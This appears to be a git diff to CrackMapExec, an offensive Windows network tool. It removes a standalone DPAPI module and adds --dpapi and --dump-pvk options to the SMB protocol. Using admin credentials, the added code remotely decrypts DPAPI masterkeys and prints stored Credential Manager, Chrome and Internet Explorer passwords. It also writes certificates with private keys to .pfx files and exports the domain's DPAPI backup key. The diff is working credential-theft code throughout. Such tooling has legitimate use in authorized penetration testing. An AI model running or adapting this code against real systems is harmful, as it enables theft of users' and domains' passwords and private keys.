diff --git a/cme/connection.py b/cme/connection.py index bc5a32a9..e2f51cbe 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -51,6 +51,7 @@ class connection(object): self.aesKey = None if not self.args.aesKey else self.args.aesKey self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost self.export = None if not self.args.export else self.args.export + self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache self.failed_logins = 0 self.local_ip = None diff --git a/cme/modules/dploot.py b/cme/modules/dploot.py deleted file mode 100644 index 38d2415c..00000000 --- a/cme/modules/dploot.py +++ /dev/null @@ -1,144 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -from dploot.triage.certificates import CertificatesTriage -from dploot.triage.vaults import VaultsTriage -from dploot.triage.browser import BrowserTriage -from dploot.triage.credentials import CredentialsTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage -from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection - -class CMEModule: - name = "dpapi" - description = "Remotely dump DPAPI stored secrets with dploot" - supported_protocols = ["smb"] - opsec_safe= True - multiple_hosts = True - - def options(self, context, module_options): - """ - PVK Domain Backupkey file - MKFILE File with masterkeys in form of {GUID}:SHA1 - DC_IP IP Address of the domain controller, will use to request Domain Backupkey - """ - self.pvkbytes = None - self.dc_ip = None - self.masterkeys = None - - if "PVK" in module_options: # Used to give Domain Backup Key to the module in order to dump user related dpapi secrets - self.pvkbytes = open(module_options["PVK"], 'rb').read() - - if "MKFILE" in module_options: # File with decrypted masterkeys - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], 'rb').read() - - self.use_dc = False - if "DC_IP" in module_options: # If filled, will connect to it in order to request Domain Backupkey - self.dc_ip = module_options["DC_IP"] - self.use_dc = True - pass - - def on_admin_login(self, context, connection): - host = connection.host - domain = connection.domain - username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - - if self.use_dc : # If the DC ip is filled, will connect to it with used account and dump Domain Backupkey - dc = Target.create( - domain=domain, - username=username, - password=password, - target=self.dc_ip, - dc_ip=self.dc_ip, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, - ) - - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() # Connect to DC - - if dc_conn.is_admin: # If is DA, dump Domain Backupkey - context.log.info("Downloading Domain Backupkey") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - - target = Target.create( - domain=domain, - username=username, - password=password, - target=host, - dc_ip=self.dc_ip, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, - ) - - conn = DPLootSMBConnection(target) - conn.connect() # Upgrade SMB connection to the target to DPLoot specific SMB connection - - # Get cleartext passwords and nthashes from CMEDB in order to use them to decrypt masterkeys - plaintexts = {username:password for _, _, username, password, _,_ in context.db.get_credentials(credtype="plaintext")} - nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in context.db.get_credentials(credtype="hash")} - - context.log.info("Gathering masterkeys") - - # Collect User and Machine masterkeys - masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes) - if self.masterkeys is None: - self.masterkeys = masterkeys_triage.triage_masterkeys() - self.masterkeys += masterkeys_triage.triage_system_masterkeys() - - context.log.info("Looting secrets") - - # Collect User and Machine Credentials Manager secrets - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=self.masterkeys) - credentials = credentials_triage.triage_credentials() - for credential in credentials: - context.log.highlight("[CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password)) - system_credentials = credentials_triage.triage_system_credentials() - for credential in system_credentials: - context.log.highlight("[CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password)) - - # Collect Chrome Based Browser stored secrets - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=self.masterkeys) - browser_credentials, _ = browser_triage.triage_browsers() - for credential in browser_credentials: - context.log.highlight("[%s] %s - %s:%s" % (credential.browser.upper(), credential.url, credential.username, credential.password)) - - # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=self.masterkeys) - vaults = vaults_triage.triage_vaults() - for vault in vaults: - if vault.type == 'Internet Explorer': - context.log.highlight("[Internet Explorer] %s - %s:%s" % (vault.resource, vault.username, vault.password)) - - # Collect User and Machine certificates with private keys - certificates_triage = CertificatesTriage(target=target,conn=conn, masterkeys=self.masterkeys) - certificates = certificates_triage.triage_certificates() - for certificate in certificates: - if certificate.clientauth: - filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16]) - context.log.success("Writting certificate to %s" % filename) - with open(filename, "wb") as f: - f.write(certificate.pfx) - system_certificates = certificates_triage.triage_system_certificates() - for certificate in system_certificates: - if certificate.clientauth: - filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16]) - context.log.success("Writting certificate to %s" % filename) - with open(filename, "wb") as f: - f.write(certificate.pfx) \ No newline at end of file diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 7e62a6b6..db95c256 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -36,6 +36,14 @@ from cme.helpers.logger import highlight from cme.helpers.misc import * from cme.helpers.bloodhound import add_user_bh from cme.helpers.powershell import create_ps_command +from dploot.triage.certificates import CertificatesTriage +from dploot.triage.vaults import VaultsTriage +from dploot.triage.browser import BrowserTriage +from dploot.triage.credentials import CredentialsTriage +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file +from dploot.triage.backupkey import BackupkeyTriage +from dploot.lib.target import Target +from dploot.lib.smb import DPLootSMBConnection from pywerview.cli.helpers import * from pywerview.requester import RPCRequester from time import time @@ -163,10 +171,14 @@ class smb(connection): cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") + cegroup.add_argument("--dpapi", action='store_true', help='dump DPAPI secrets from target systems') + cegroup.add_argument("--dump-pvk", action='store_true', help='DPAPI option. Dump domain backupkey on domain controller') #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") + ngroup.add_argument("--mkfile", action='store', help='DPAPI option. File with masterkeys in form of {GUID}:SHA1') + ngroup.add_argument("--pvk", action='store', help='DPAPI option. File with domain backupkey') ngroup.add_argument("--enabled", action='store_true', help='Only dump enabled targets from DC') ngroup.add_argument("--user", dest='userntds', type=str, help='Dump selected user from DC') @@ -1157,6 +1169,92 @@ class smb(connection): SAM.finish() + @requires_admin + def dpapi(self): + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + target=self.host, + lmhash=self.lmhash, + nthash=self.nthash, + do_kerberos=self.kerberos, + aesKey=self.aesKey, + use_kcache=self.use_kcache, + ) + + conn = DPLootSMBConnection(target) + conn.connect() + + pvkbytes = None + if self.args.pvk is not None: + try: + pvkbytes = open(self.args.pvk, 'rb').read() + except Exception as e: + logging.error(str(e)) + + masterkeys = [] + if self.args.mkfile is not None: + try: + masterkeys += parse_masterkey_file(self.args.mkfile) + except Exception as e: + self.logger.error(str(e)) + + self.logger.info("Gathering masterkeys") + + plaintexts = {username:password for _, _, username, password, _,_ in self.db.get_credentials(credtype="plaintext")} + nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in self.db.get_credentials(credtype="hash")} + if self.password == '' or self.password is None: + plaintexts[self.username] = self.password + if self.nthash == '' or self.nthash is None: + nthashes[self.username] = self.nthash + + # Collect User and Machine masterkeys + masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=pvkbytes, passwords=plaintexts, nthashes=nthashes) + masterkeys += masterkeys_triage.triage_masterkeys() + masterkeys += masterkeys_triage.triage_system_masterkeys() + + self.logger.info("Looting secrets") + + # Collect User and Machine Credentials Manager secrets + credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys) + credentials = credentials_triage.triage_credentials() + for credential in credentials: + self.logger.highlight("[CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password)) + system_credentials = credentials_triage.triage_system_credentials() + for credential in system_credentials: + self.logger.highlight("[CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password)) + + # Collect Chrome Based Browser stored secrets + browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) + browser_credentials, _ = browser_triage.triage_browsers() + for credential in browser_credentials: + self.logger.highlight("[%s] %s - %s:%s" % (credential.browser.upper(), credential.url, credential.username, credential.password)) + + # Collect User Internet Explorer stored secrets + vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys) + vaults = vaults_triage.triage_vaults() + for vault in vaults: + if vault.type == 'Internet Explorer': + self.logger.highlight("[Internet Explorer] %s - %s:%s" % (vault.resource, vault.username, vault.password)) + + # Collect User and Machine certificates with private keys + certificates_triage = CertificatesTriage(target=target,conn=conn, masterkeys=masterkeys) + certificates = certificates_triage.triage_certificates() + for certificate in certificates: + if certificate.clientauth: + filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16]) + self.logger.success("Writting certificate to %s" % filename) + with open(filename, "wb") as f: + f.write(certificate.pfx) + system_certificates = certificates_triage.triage_system_certificates() + for certificate in system_certificates: + if certificate.clientauth: + filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16]) + self.logger.success("Writting certificate to %s" % filename) + with open(filename, "wb") as f: + f.write(certificate.pfx) + @requires_admin def lsa(self): self.enable_remoteops() @@ -1189,6 +1287,30 @@ class smb(connection): LSA.finish() + @requires_admin + def dump_pvk(self): + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + target=self.host, + lmhash=self.lmhash, + nthash=self.nthash, + do_kerberos=self.kerberos, + aesKey=self.aesKey, + use_kcache=self.use_kcache, + ) + + conn = DPLootSMBConnection(target) + conn.connect() # Connect to DC + + self.logger.info("Downloading Domain Backupkey") + backupkey_triage = BackupkeyTriage(target=target, conn=conn) + backupkey = backupkey_triage.triage_backupkey() + outputfile = '%s.pvk' % self.domain + open(outputfile, 'wb').write(backupkey.backupkey_v2) + self.logger.success("Domain backupkey exported to file {}".format(outputfile )) + def ntds(self): self.enable_remoteops() use_vss_method = False